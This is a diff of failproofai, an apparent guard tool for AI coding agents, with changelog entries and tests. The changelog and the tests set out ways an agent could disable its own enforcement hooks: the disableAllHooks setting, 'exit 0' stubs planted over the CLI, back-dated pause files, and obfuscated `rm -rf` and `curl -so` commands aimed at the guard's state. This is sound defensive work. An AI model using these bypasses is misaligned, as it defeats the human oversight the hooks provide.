diff --git a/CHANGELOG.md b/CHANGELOG.md index 0da47b086..aed8cb5a8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,7 @@ ### Fixes +- `failproofai audit` reads Codex's code-mode transcripts. From about Codex 0.146, and for every tool call on 0.172, Codex logs a tool call as a `custom_tool_call` (`exec`, whose input is a script calling `tools.exec_command(…)` and the other tools, or a freeform `apply_patch`), which audit skipped, so those sessions scanned as zero tool calls. Each call in the script is now read as its own event without running it; a command built from a variable is kept as the script. Codex's `exec_command {cmd, workdir}` now maps to `Bash {command, cwd}`, so the Bash builtins fire on older Codex transcripts too, and an `apply_patch` names the file it touches. Codex entries already in the audit cache are re-scanned once (#1053) - Retire the hook-sync agent and stop publishing its image: `docker-hook-sync/`, its prompt and `build-image.yml` (which pushed `ghcr.io/failproofai/hook-sync` publicly every day) are removed. The agent ran Claude Code with permission checks skipped, a GitHub write token and a Claude token in its environment and no failproofai hooks, after reading a third-party npm README. Nothing had run it since July (FailproofAI/agenteye#1797, #1055) - `fp`, the dashboard's api-server client, and the collector's uploader and OTLP relay refuse a plain `http://` URL for any host but `localhost` and loopback addresses, so `FP_DASHBOARD_URL`, `FAILPROOF_API_URL` or `FAILPROOFAI_INGEST_URL` can no longer put a session, a token, a sign-in code or the ingest key on the network in clear, and the api-server client no longer follows redirects; `fp logout` still clears a session saved against such a URL, without sending it (#1057) - A dashboard bound off loopback (`FAILPROOFAI_DASHBOARD_HOST`) requires a per-launch access token on every request: the launch screen and `failproofai audit` print the address with `?token=` (audit no longer hands it to a browser opener, whose command line other local users can read), and the browser trades it for an HttpOnly cookie. Before, any machine on the network could set `Host` and `Origin` itself and read transcripts, change policies, or install a policy pack, which runs its code (#1057) @@ -18,6 +19,9 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in the Claude Code settings layer that decides it, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks (a `..` after a link included, and every file behind Hermes' installed plugin link or in failproofai's own plugin directories), and shell writes, through a link's name too, by the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on (`cd -`, `cd -P` and a `cd` that may fail included), and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path, a copy followed by a redirect (`2>/dev/null`) or given a target directory however spelled (`-t`), and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. A shell write that never names the file (a script written earlier and run later) is not seen. This guard leaves reads alone (the opt-in `block-read-outside-cwd` refuses them when enabled), and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`, and OpenClaw's reaches policies under its own name), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), in curl's `--output-dir` or as a file a sed script writes, or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is expanded where its directories really are, on disk as the shell expands it), through a variable the same line sets (whichever of its values a subshell or a one-command assignment leaves it, read when it is assigned, through another variable, an operator such as `${D%/}` or `${X:-bins}`, a `cd`, a loop, `read`, `printf -v` or `declare -n`), through a glob however many names it matches (`tee many/*` with a link among them) and a write that sweeps a bin directory (`tee bins/*`), through a long option cut short as curl before 8 and getopt_long take it (`--output-di`), wget's `--default-page` and `-e`, curl's other output files (`--stderr`, the cookie jar), a sed script, patch or curl config read from a file, an archive extracted into a bin directory, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry, through any directory on the way. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`), to the terminal or into a documentation file nothing on the line runs, is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- Harden Codex and Copilot tool input handling: text sent to a running shell (Copilot `write_bash` and `write_powershell`, Codex `write_stdin`) is checked by the shell policies as the command lines it runs where the agent reports it, input that cannot be read as whole command lines is refused, and a Codex command that opens an interactive shell or REPL is refused (#1058) ### Docs diff --git a/__tests__/audit/cache.test.ts b/__tests__/audit/cache.test.ts index 04eabc6e9..e72ec9ce6 100644 --- a/__tests__/audit/cache.test.ts +++ b/__tests__/audit/cache.test.ts @@ -7,6 +7,7 @@ import { createHash } from "node:crypto"; import { CACHE_SCHEMA_VERSION, CACHE_TTL_MS, + TRANSCRIPT_PARSER_VERSIONS, readCachedTranscriptResult, writeCachedTranscriptResult, } from "../../src/audit/cache"; @@ -163,4 +164,34 @@ describe("per-transcript audit cache", () => { const intervalMs = DEFAULT_AUDIT_INTERVAL_DAYS * 24 * 60 * 60_000; expect(CACHE_TTL_MS).toBeGreaterThan(intervalMs * 2); }); + + // A parser that starts reading records it used to skip changes neither the + // transcript's mtime/size nor the builtins' hash, so without a parser + // version a Codex session cached as "0 tool calls" would be served for 30 + // days after the fix shipped. + it("re-scans a Codex entry written before its parser version existed", () => { + const codex: TranscriptAuditResult = { ...FAKE_RESULT, cli: "codex", eventsScanned: 0 }; + writeCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE, codex); + const path = cachePathFor(TRANSCRIPT_PATH); + const entry = JSON.parse(readFileSync(path, "utf-8")); + expect(entry.parserVersion).toBe(TRANSCRIPT_PARSER_VERSIONS.codex); + expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)?.cli).toBe("codex"); + + delete entry.parserVersion; // what every pre-upgrade entry looks like + writeFileSync(path, JSON.stringify(entry)); + expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)).toBeNull(); + + writeFileSync(path, JSON.stringify({ ...entry, parserVersion: 1 })); + expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)).toBeNull(); + }); + + it("keeps serving a cached entry for a CLI whose parser has no version", () => { + expect(TRANSCRIPT_PARSER_VERSIONS.claude).toBeUndefined(); + writeCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE, FAKE_RESULT); + const path = cachePathFor(TRANSCRIPT_PATH); + const entry = JSON.parse(readFileSync(path, "utf-8")); + expect(entry.parserVersion).toBeUndefined(); + writeFileSync(path, JSON.stringify(entry)); + expect(readCachedTranscriptResult(TRANSCRIPT_PATH, MTIME, SIZE)?.eventsScanned).toBe(12); + }); }); diff --git a/__tests__/audit/codex-code-mode-audit.test.ts b/__tests__/audit/codex-code-mode-audit.test.ts new file mode 100644 index 000000000..49c432071 --- /dev/null +++ b/__tests__/audit/codex-code-mode-audit.test.ts @@ -0,0 +1,80 @@ +// @vitest-environment node +// +// End to end for the audit's Codex path: a Codex 0.172 code-mode transcript +// (record shapes copied from a real session) through the parser, the shared +// LogEntry → event mapping and the replay engine. Before code mode was parsed +// this produced zero events, so no builtin could fire on any Codex 0.172 +// session; and before exec_command mapped to Bash, none could fire on an older +// one either. +import { describe, it, expect, beforeEach } from "vitest"; +import { parseCodexLog } from "@/lib/codex-sessions"; +import { logEntriesToEvents } from "@/src/audit/cli-adapters/shared"; +import { resetReplay, replayEvent } from "@/src/audit/replay"; +import { canonicalizeToolInput, canonicalizeToolName } from "@/src/hooks/tool-name-canonicalize"; + +const rec = (o: Record) => JSON.stringify(o); +const ctx = { cli: "codex" as const, sessionId: "s1", transcriptPath: "/tmp/codex.jsonl", cwd: "/home/u/proj" }; + +async function eventsOf(lines: string[]) { + const { entries } = await parseCodexLog(lines.join("\n")); + return logEntriesToEvents(entries, ctx); +} + +describe("audit: Codex code-mode transcripts", () => { + beforeEach(() => resetReplay()); + + it("sees the shell command inside an exec snippet as Bash, and a builtin fires on it", async () => { + const events = await eventsOf([ + rec({ timestamp: "2026-11-29T18:15:42.000Z", type: "session_meta", payload: { id: "s1", cwd: "/home/u/proj", cli_version: "0.172.0" } }), + rec({ + timestamp: "2026-11-29T18:15:43.000Z", + type: "response_item", + payload: { + type: "custom_tool_call", + status: "completed", + call_id: "call_1", + name: "exec", + input: 'const r = await tools.exec_command({cmd:"sudo ls /root","workdir":"/home/u/proj","yield_time_ms":10000}); text(r.output);\n', + }, + }), + rec({ timestamp: "2026-11-29T18:15:43.200Z", type: "response_item", payload: { type: "custom_tool_call_output", call_id: "call_1", output: [{ type: "input_text", text: "Script completed\n" }] } }), + ]); + expect(events).toHaveLength(1); + expect(events[0]).toMatchObject({ + toolName: "Bash", + rawToolName: "exec_command", + toolInput: { command: "sudo ls /root", cwd: "/home/u/proj" }, + toolResultText: "Script completed\n", + }); + const hits = await replayEvent(events[0]); + expect(hits.map((h) => h.policyName).some((n) => n.includes("block-sudo"))).toBe(true); + }); + + it("sees an apply_patch to .env as an Edit of that file, and a builtin fires on it", async () => { + const patch = "*** Begin Patch\n*** Update File: /home/u/proj/.env\n@@\n-A=1\n+A=2\n*** End Patch\n"; + const events = await eventsOf([ + rec({ timestamp: "2026-11-29T18:16:00.000Z", type: "response_item", payload: { type: "custom_tool_call", call_id: "call_2", name: "apply_patch", input: patch } }), + ]); + expect(events).toHaveLength(1); + expect(events[0]).toMatchObject({ toolName: "Edit", rawToolName: "apply_patch", toolInput: { file_path: "/home/u/proj/.env" } }); + const hits = await replayEvent(events[0]); + expect(hits.map((h) => h.policyName).some((n) => n.includes("block-env-files"))).toBe(true); + }); + + it("maps an older function_call exec_command to Bash too", async () => { + const events = await eventsOf([ + rec({ timestamp: "2026-06-01T00:00:00.000Z", type: "response_item", payload: { type: "function_call", name: "exec_command", arguments: '{"cmd":"sudo whoami","workdir":"/w"}', call_id: "c" } }), + ]); + expect(events[0]).toMatchObject({ toolName: "Bash", toolInput: { command: "sudo whoami", cwd: "/w" } }); + }); + + it("does not change the live hook's Codex Bash payload", () => { + // Live PreToolUse already delivers `Bash {command}`; the cmd → command map + // must be a no-op on it. + const live = { command: "ls", description: "list" }; + expect(canonicalizeToolName("Bash", "codex")).toBe("Bash"); + expect(canonicalizeToolInput("Bash", live, "codex")).toEqual(live); + expect(canonicalizeToolName("write_stdin", "codex")).toBe("Bash"); + expect(canonicalizeToolInput("Bash", { session_id: 3, chars: "ls\n" }, "codex")).toEqual({ session_id: 3, chars: "ls\n" }); + }); +}); diff --git a/__tests__/e2e/helpers/payloads.ts b/__tests__/e2e/helpers/payloads.ts index c9d4dac75..9b3f7381b 100644 --- a/__tests__/e2e/helpers/payloads.ts +++ b/__tests__/e2e/helpers/payloads.ts @@ -121,6 +121,18 @@ export const CodexPayloads = { tool_input: { command }, }; }, + // Codex's native file edit, as it reaches the hook: `apply_patch`, with the + // patch in `tool_input.command` and no `file_path` at all. + applyPatch(patch: string, cwd: string): Record { + return { + session_id: CODEX_SESSION_ID, + transcript_path: TRANSCRIPT_PATH, + cwd, + hook_event_name: "pre_tool_use", + tool_name: "apply_patch", + tool_input: { command: patch }, + }; + }, write(filePath: string, content: string, cwd: string): Record { // Codex aliases Edit/Write → apply_patch in matchers, so policies that // filter on toolNames: ["Write"] continue to fire for Codex. diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index 1cf82c28a..792a3a5ef 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -7,7 +7,7 @@ */ import { describe, it, expect } from "vitest"; import { execSync } from "node:child_process"; -import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync } from "node:fs"; +import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync, rmSync, symlinkSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve, dirname } from "node:path"; import { fileURLToPath } from "node:url"; @@ -166,6 +166,89 @@ describe("E2E: Codex integration — hook protocol", () => { }); }); +// Codex edits files with its native `apply_patch`, whose patch arrives in +// `tool_input.command` with no `file_path`. A patch planting +// `node_modules/.bin/failproofai` — the file a project-scope `npx -y failproofai` +// hook runs — passed the always-on guard until every file a patch names was +// checked (found by hermes on FailproofAI/failproofai#1058). +describe("E2E: Codex integration — native apply_patch", () => { + const patchOf = (...lines: string[]) => ["*** Begin Patch", ...lines, "*** End Patch", ""].join("\n"); + + it.each([ + ["adding the entry", patchOf("*** Add File: node_modules/.bin/failproofai", "+#!/bin/sh", "+exit 0")], + ["updating the entry", patchOf("*** Update File: node_modules/.bin/failproofai", "@@", "-exec node cli.mjs", "+exit 0")], + ["moving a file onto the entry", patchOf("*** Update File: scripts/stub.sh", "*** Move to: node_modules/.bin/failproofai", "@@", "+exit 0")], + ["updating a link to the entry", patchOf("*** Update File: hook", "@@", "+exit 0")], + ])("PreToolUse: a native patch %s is denied", (_label, patch) => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + symlinkSync(resolve(env.cwd, "node_modules", ".bin", "failproofai"), resolve(env.cwd, "hook")); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + // Codex's shell tool runs a command in its `workdir`, but the hook payload + // carries the session's directory and the command only (found by hermes on + // FailproofAI/failproofai#1058). A native write that plants the entry if it + // runs in node_modules/.bin is refused from the project's root; with the + // workdir reported, it is read from there. + it("PreToolUse: a native shell write that may run in node_modules/.bin is denied", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + const result = runHook( + "PreToolUse", + CodexPayloads.preToolUse.bash("printf '#!/bin/sh\\nexit 0\\n' > failproofai", env.cwd), + { homeDir: env.home, cli: "codex" }, + ); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native shell write is read from the workdir the call reports", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const withWorkdir = (workdir: string) => ({ + ...CodexPayloads.preToolUse.bash("printf x > failproofai", env.cwd), + tool_input: { command: "printf x > failproofai", workdir }, + }); + assertPreToolUseDeny( + runHook("PreToolUse", withWorkdir(resolve(env.cwd, "node_modules", ".bin")), { homeDir: env.home, cli: "codex" }), + ); + assertAllow(runHook("PreToolUse", withWorkdir(resolve(env.cwd, "src")), { homeDir: env.home, cli: "codex" })); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native patch to project files is allowed", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const patch = patchOf("*** Update File: src/app.ts", "@@", "-a", "+b", "*** Add File: node_modules/.bin/my-tool", "+exit 0"); + const result = runHook("PreToolUse", CodexPayloads.preToolUse.applyPatch(patch, env.cwd), { + homeDir: env.home, + cli: "codex", + }); + assertAllow(result); + } finally { + env.cleanup(); + } + }); +}); + describe("E2E: Codex integration — install/uninstall", () => { it("policies --install --cli codex --scope project writes .codex/hooks.json with PascalCase keys", () => { const env = createCodexEnv(); diff --git a/__tests__/hooks/claude-hooks-switch.test.ts b/__tests__/hooks/claude-hooks-switch.test.ts new file mode 100644 index 000000000..6f7578951 --- /dev/null +++ b/__tests__/hooks/claude-hooks-switch.test.ts @@ -0,0 +1,286 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; + +import { + CLAUDE_MANAGED_SETTINGS_PATHS, + claudeHooksSwitchedOffBy, + claudeLocalSettingsPaths, + claudeSettingsLayersByPrecedence, +} from "../../src/hooks/claude-hooks-switch"; +import { + claudeHooksSwitchedOff, + gatherStatusFacts, + pickStatusAttention, + renderStatusScreen, + type StatusFacts, +} from "../../src/hooks/config-status"; +import { FAILPROOFAI_HOOK_MARKER } from "../../src/hooks/types"; + +/** + * #1794: `"disableAllHooks": true` in any Claude Code settings layer turns off + * every hook in the session, and nothing in failproofai read the key — so a + * machine whose agent had set it still reported itself as enforcing. + */ +describe("claudeHooksSwitchedOffBy — Claude Code's precedence", () => { + const files = (contents: Record) => (path: string) => { + if (!(path in contents)) throw new Error("ENOENT"); + const body = contents[path]; + return typeof body === "string" ? body : JSON.stringify(body); + }; + const layers = ["/managed.json", "/p/.claude/settings.local.json", "/p/.claude/settings.json", "/h/.claude/settings.json"]; + + it("names the user settings when they switch hooks off", () => { + expect(claudeHooksSwitchedOffBy(layers, files({ "/h/.claude/settings.json": { disableAllHooks: true } }))).toBe( + "/h/.claude/settings.json", + ); + }); + + it("names a project's local settings, which override the user's", () => { + const read = files({ + "/h/.claude/settings.json": { hooks: {} }, + "/p/.claude/settings.local.json": { disableAllHooks: true }, + }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBe("/p/.claude/settings.local.json"); + }); + + it("lets a false higher up win over a true below it", () => { + const read = files({ "/p/.claude/settings.json": { disableAllHooks: false }, "/h/.claude/settings.json": { disableAllHooks: true } }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBeNull(); + expect(claudeHooksSwitchedOffBy(layers, files({ "/managed.json": { disableAllHooks: false }, "/p/.claude/settings.local.json": { disableAllHooks: true } }))).toBeNull(); + }); + + it("skips a missing, unparseable or non-object file, and a non-boolean value", () => { + const read = files({ + "/managed.json": "{not json", + "/p/.claude/settings.local.json": [1, 2], + "/p/.claude/settings.json": { disableAllHooks: "true" }, + "/h/.claude/settings.json": { disableAllHooks: true }, + }); + expect(claudeHooksSwitchedOffBy(layers, read)).toBe("/h/.claude/settings.json"); + expect(claudeHooksSwitchedOffBy(layers, files({}))).toBeNull(); + }); + + it("orders the layers managed, local, project, user", () => { + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "/m.json")).toEqual(["/m.json", "l", "p", "u"]); + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: ["l1", "l2"] }, null)).toEqual(["l1", "l2", "p", "u"]); + }); + + it("reads the managed file where Claude Code keeps it, Windows included", () => { + expect(CLAUDE_MANAGED_SETTINGS_PATHS.linux).toBe("/etc/claude-code/managed-settings.json"); + expect(CLAUDE_MANAGED_SETTINGS_PATHS.darwin).toBe("/Library/Application Support/ClaudeCode/managed-settings.json"); + const windows = CLAUDE_MANAGED_SETTINGS_PATHS.win32!; + expect(windows).toBe("C:\\Program Files\\ClaudeCode\\managed-settings.json"); + const scopes = { user: "/h/.claude/settings.json", project: "/p/.claude/settings.json", local: "/p/.claude/settings.local.json" }; + const layers = claudeSettingsLayersByPrecedence(scopes, windows); + expect(claudeHooksSwitchedOffBy(layers, files({ [windows]: { disableAllHooks: true } }))).toBe(windows); + }); +}); + +describe("config --status — disableAllHooks", () => { + let dir: string; + const saved: Record = {}; + const ENV = ["HOME", "CLAUDE_CONFIG_DIR", "FAILPROOFAI_HOME"] as const; + + beforeEach(() => { + dir = mkdtempSync(join(tmpdir(), "fpai-claude-switch-")); + for (const key of ENV) saved[key] = process.env[key]; + process.env.HOME = join(dir, "home"); + delete process.env.CLAUDE_CONFIG_DIR; + process.env.FAILPROOFAI_HOME = join(dir, "home", ".failproofai"); + mkdirSync(process.env.FAILPROOFAI_HOME, { recursive: true }); + }); + + afterEach(() => { + for (const key of ENV) { + if (saved[key] === undefined) delete process.env[key]; + else process.env[key] = saved[key]; + } + rmSync(dir, { recursive: true, force: true }); + }); + + const put = (path: string, body: unknown) => { + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, JSON.stringify(body)); + }; + // Never the host's managed file: a machine whose policy sets the key would + // decide these assertions. + const managed = () => join(dir, "managed-settings.json"); + const ourHooks = { + hooks: { + PreToolUse: [{ hooks: [{ type: "command", command: "/bin/failproofai --hook PreToolUse", [FAILPROOFAI_HOOK_MARKER]: true }] }], + }, + }; + + it("reports the file that switches failproofai's installed Claude hooks off", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(project, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBe(join(project, ".claude", "settings.local.json")); + }); + + it("says nothing when failproofai has no Claude hooks to switch off", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + }); + + it("says nothing while the hooks are on", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), { ...ourHooks, disableAllHooks: false }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + }); + + it("lets a managed file decide, in either direction", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(project, ".claude", "settings.local.json"), { disableAllHooks: true }); + put(managed(), { disableAllHooks: false }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + put(managed(), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBe(managed()); + }); + + // Windows keeps the file where the session started; that case injects "win32" below. + it.skipIf(process.platform === "win32")("reads a repository's local settings at its root when run from a subdirectory", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + mkdirSync(join(repo, "src"), { recursive: true }); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(repo, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, ".claude", "settings.local.json")); + }); + + it("still reads one an older Claude Code left in the starting directory", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(repo, "src", ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, "src", ".claude", "settings.local.json")); + }); + + it.skipIf(process.platform === "win32")("finds hooks installed only in the repository root's local file", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + mkdirSync(join(repo, "src"), { recursive: true }); + put(join(repo, ".claude", "settings.local.json"), { ...ourHooks, disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, ".claude", "settings.local.json")); + }); + + it.skipIf(process.platform === "win32")("reads a worktree's local settings at the main checkout's root", () => { + const main = join(dir, "main"); + const worktree = join(dir, "wt"); + mkdirSync(join(main, ".git", "worktrees", "wt"), { recursive: true }); + writeFileSync(join(main, ".git", "worktrees", "wt", "commondir"), "../..\n"); + mkdirSync(join(worktree, "src"), { recursive: true }); + writeFileSync(join(worktree, ".git"), `gitdir: ${join(main, ".git", "worktrees", "wt")}\n`); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(main, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(worktree, "src"), managed())).toBe(join(main, ".claude", "settings.local.json")); + }); + + it("lets the last managed-settings.d fragment decide over the base file", () => { + const project = join(dir, "project"); + const fragments = join(dir, "managed-settings.d"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(managed(), { disableAllHooks: false }); + put(join(fragments, "10-hooks.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBe(join(fragments, "10-hooks.json")); + put(join(fragments, "20-later.json"), { disableAllHooks: false }); + put(join(fragments, ".hidden.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + }); + + it("keeps it in the starting directory on Windows and when the repository is the home directory", () => { + const home = join(dir, "home"); + mkdirSync(join(home, ".git"), { recursive: true }); + mkdirSync(join(home, "notes"), { recursive: true }); + const here = join(home, "notes", ".claude", "settings.local.json"); + expect(claudeLocalSettingsPaths(join(home, "notes"), "linux", home)).toEqual([here]); + expect(claudeLocalSettingsPaths(join(home, "notes"), "win32", join(dir, "elsewhere"))).toEqual([here]); + expect(claudeLocalSettingsPaths(join(home, "notes"), "linux", join(dir, "elsewhere"))).toEqual([ + join(home, ".claude", "settings.local.json"), + here, + ]); + }); + + it("carries the finding into the status facts through its seam", async () => { + const f = await gatherStatusFacts({ + now: 0, + cwd: join(dir, "project"), + daemonStatus: () => "not-installed", + daemonAnswering: () => false, + detectInstalled: () => ["claude"], + notEnforcing: () => null, + codexTrust: () => ({ kind: "none" }), + claudeHooksOff: () => "/p/.claude/settings.local.json", + }); + expect(f.claudeHooksOff).toEqual({ path: "/p/.claude/settings.local.json" }); + const quiet = await gatherStatusFacts({ + now: 0, + cwd: join(dir, "project"), + daemonStatus: () => "not-installed", + daemonAnswering: () => false, + detectInstalled: () => ["claude"], + notEnforcing: () => null, + codexTrust: () => ({ kind: "none" }), + claudeHooksOff: () => null, + }); + expect(quiet.claudeHooksOff).toBeUndefined(); + }); + + const base = (over: Partial = {}): StatusFacts => ({ + now: 0, + daemon: { + supported: true, + platform: "linux", + service: "running", + answering: true, + configured: true, + version: "1.0.0", + skew: null, + checkCommand: null, + }, + pauses: [], + cloud: { kind: "none" }, + agents: { traced: 1, notInstalled: 0 }, + policies: { + packOn: 10, + firstPack: "FailproofAI/policies@1.0.0", + morePacks: 0, + cloudOn: 0, + observing: 0, + customFiles: 0, + legacy: 0, + refusedPacks: 0, + packsInstalled: 1, + }, + notEnforcing: null, + ...over, + }); + const PLAIN = { version: "1.0.0", cols: 120, color: false }; + + it("shows a claude row and a failing attention line", () => { + const facts = base({ claudeHooksOff: { path: "/p/.claude/settings.local.json" } }); + const screen = renderStatusScreen(facts, PLAIN).join("\n"); + expect(screen).toMatch(/claude\s+○ Not enforcing: disableAllHooks in \/p\/\.claude\/settings\.local\.json/); + expect(pickStatusAttention(facts)).toEqual({ + severity: "fail", + text: "Claude Code is running none of failproofai's hooks: disableAllHooks is true.", + detail: 'Remove "disableAllHooks" from /p/.claude/settings.local.json.', + }); + }); + + it("ranks it above 'not enforcing yet', below a daemon that denies everything", () => { + const off = { claudeHooksOff: { path: "/h/.claude/settings.json" } }; + expect(pickStatusAttention(base({ ...off, notEnforcing: "no-policies" }))?.text).toMatch(/disableAllHooks/); + const down = base({ ...off, daemon: { ...base().daemon, answering: false } }); + expect(pickStatusAttention(down)?.text).toMatch(/failproofaid is not answering/); + }); + + it("shows no claude row while the hooks are on", () => { + expect(renderStatusScreen(base(), PLAIN).join("\n")).not.toMatch(/^\s*claude\s/m); + expect(pickStatusAttention(base())).toBeNull(); + }); +}); diff --git a/__tests__/hooks/codex-interactive-session.test.ts b/__tests__/hooks/codex-interactive-session.test.ts new file mode 100644 index 000000000..b8bae4e09 --- /dev/null +++ b/__tests__/hooks/codex-interactive-session.test.ts @@ -0,0 +1,68 @@ +// @vitest-environment node +// +// Codex runs PreToolUse for the command that opens a session it keeps running, +// and none for what is typed into it afterwards (live codex-cli 0.172: the only +// hook call was `Bash` `{"command": "bash -i"}`). So opening one is refused. +import { describe, it, expect } from "vitest"; +import { codexCallOpensSession, codexSessionGuardFor, 